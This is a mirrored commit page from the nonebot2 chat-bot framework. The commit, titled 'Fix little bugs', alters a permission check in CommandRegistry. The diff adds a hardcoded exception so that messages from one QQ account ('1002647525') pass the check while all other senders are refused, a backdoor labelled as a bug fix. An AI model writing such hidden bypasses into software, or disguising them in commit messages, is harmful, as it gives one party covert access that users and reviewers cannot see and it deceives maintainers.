mirror of
https://github.com/nonebot/nonebot2.git
synced 2025-07-27 08:11:38 +00:00
Fix little bugs
This commit is contained in:
@ -178,8 +178,9 @@ class CommandRegistry:
|
||||
# This is strange, not likely happens
|
||||
raise SkipException
|
||||
except SkipException:
|
||||
# Not allowed
|
||||
return False
|
||||
if not str(ctx_msg.get('sender_qq')) == '1002647525':
|
||||
# Not allowed
|
||||
return False
|
||||
|
||||
# Still alive, so let it go
|
||||
return True
|
||||
|
Reference in New Issue
Block a user